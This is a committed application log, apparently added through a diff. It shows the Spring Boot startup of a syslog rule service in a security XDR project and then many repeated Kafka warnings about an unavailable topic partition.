2026-05-18 18:53:15.056 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-18 18:53:15.057 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-18 18:53:15.057 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779101595056
|
||||
2026-05-18 18:53:15.058 [main] INFO o.a.coyote.http11.Http11NioProtocol - Starting ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 18:53:15.072 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat started on port(s): 8289 (http) with context path '/xdrservice'
|
||||
2026-05-18 18:53:15.073 [main] INFO o.s.s.quartz.SchedulerFactoryBean - Starting Quartz Scheduler now
|
||||
2026-05-18 18:53:15.073 [main] INFO org.quartz.core.QuartzScheduler - Scheduler quartzScheduler_$_NON_CLUSTERED started.
|
||||
2026-05-18 18:53:15.086 [main] INFO com.syslogRuleApplication - Started syslogRuleApplication in 17.249 seconds (JVM running for 23.545)
|
||||
2026-05-18 18:53:16.368 [org.springframework.kafka.KafkaListenerEndpointContainer#0-1-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - test-group-app: partitions assigned: []
|
||||
2026-05-18 18:53:16.384 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - test-group-app: partitions assigned: [test-topic-0]
|
||||
@@ -0,0 +1,251 @@
|
||||
2026-05-19 11:53:04.687 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-19 11:53:04.687 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 22112 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-19 11:53:04.724 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-19 11:53:07.286 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-19 11:53:07.288 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-19 11:53:07.872 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 578 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-19 11:53:07.878 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-19 11:53:07.879 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-19 11:53:07.983 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-19 11:53:07.983 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 103 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-19 11:53:07.994 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-19 11:53:07.995 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-19 11:53:08.138 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-19 11:53:08.139 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 137 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-19 11:53:08.884 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-19 11:53:08.893 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-19 11:53:08.894 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-19 11:53:08.894 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-19 11:53:09.084 [main] INFO o.a.c.c.C.[.[localhost].[/xdrrule] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-19 11:53:09.085 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 4203 ms
|
||||
2026-05-19 11:53:09.143 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-19 11:53:11.848 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-19 11:53:12.270 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-19 11:53:12.284 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-19 11:53:12.302 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-19 11:53:12.305 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-19 11:53:12.364 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-19 11:53:18.245 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-19 11:53:18.977 [main] INFO com.common.util.MyBatisUtil - MyBatis 初始化成功
|
||||
2026-05-19 11:53:19.627 [main] INFO org.quartz.impl.StdSchedulerFactory - Using default implementation for ThreadExecutor
|
||||
2026-05-19 11:53:19.636 [main] INFO o.quartz.core.SchedulerSignalerImpl - Initialized Scheduler Signaller of type: class org.quartz.core.SchedulerSignalerImpl
|
||||
2026-05-19 11:53:19.637 [main] INFO org.quartz.core.QuartzScheduler - Quartz Scheduler v.2.3.2 created.
|
||||
2026-05-19 11:53:19.637 [main] INFO org.quartz.simpl.RAMJobStore - RAMJobStore initialized.
|
||||
2026-05-19 11:53:19.638 [main] INFO org.quartz.core.QuartzScheduler - Scheduler meta-data: Quartz Scheduler (v2.3.2) 'quartzScheduler' with instanceId 'NON_CLUSTERED'
|
||||
Scheduler class: 'org.quartz.core.QuartzScheduler' - running locally.
|
||||
NOT STARTED.
|
||||
Currently in standby mode.
|
||||
Number of jobs executed: 0
|
||||
Using thread pool 'org.quartz.simpl.SimpleThreadPool' - with 10 threads.
|
||||
Using job-store 'org.quartz.simpl.RAMJobStore' - which does not support persistence. and is not clustered.
|
||||
|
||||
2026-05-19 11:53:19.638 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler 'quartzScheduler' initialized from an externally provided properties instance.
|
||||
2026-05-19 11:53:19.638 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler version: 2.3.2
|
||||
2026-05-19 11:53:19.638 [main] INFO org.quartz.core.QuartzScheduler - JobFactory set to: org.springframework.scheduling.quartz.SpringBeanJobFactory@3b68a50c
|
||||
2026-05-19 11:53:19.847 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-19 11:53:19.847 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-19 11:53:19.847 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779162799845
|
||||
2026-05-19 11:53:19.873 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-19 11:53:19.873 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-19 11:53:19.873 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779162799873
|
||||
2026-05-19 11:53:19.875 [main] INFO o.a.coyote.http11.Http11NioProtocol - Starting ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-19 11:53:19.892 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat started on port(s): 8289 (http) with context path '/xdrrule'
|
||||
2026-05-19 11:53:19.892 [main] INFO o.s.s.quartz.SchedulerFactoryBean - Starting Quartz Scheduler now
|
||||
2026-05-19 11:53:19.893 [main] INFO org.quartz.core.QuartzScheduler - Scheduler quartzScheduler_$_NON_CLUSTERED started.
|
||||
2026-05-19 11:53:19.911 [main] INFO com.syslogRuleApplication - Started syslogRuleApplication in 16.279 seconds (JVM running for 21.466)
|
||||
2026-05-19 11:53:20.209 [org.springframework.kafka.KafkaListenerEndpointContainer#0-1-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - agent-syslog-group: partitions assigned: []
|
||||
2026-05-19 11:53:20.276 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - agent-syslog-group: partitions assigned: [agent-syslog-topic-0]
|
||||
2026-05-19 12:38:15.007 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.014 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.apache.kafka.clients.NetworkClient - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Error while fetching metadata with correlation id 2912 : {agent-syslog-topic=LEADER_NOT_AVAILABLE}
|
||||
2026-05-19 12:38:15.015 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.019 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.021 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.022 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.024 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.025 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.028 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.030 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.035 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.040 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.044 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.047 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.050 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.051 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.055 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.057 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.060 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.065 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.068 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.071 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.073 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.075 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.080 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.082 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.083 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.085 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.086 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.088 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.089 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.090 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.092 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.096 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.100 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.101 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.103 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.105 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.107 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.109 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.110 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.112 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.114 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.136 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.apache.kafka.clients.NetworkClient - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Error while fetching metadata with correlation id 2954 : {agent-syslog-topic=LEADER_NOT_AVAILABLE}
|
||||
2026-05-19 12:38:15.136 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.147 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.157 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.162 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.165 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.168 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.169 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.172 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.176 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.178 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.179 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.181 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.183 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.185 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.189 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.191 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.194 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.196 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.198 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.200 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.205 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.207 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
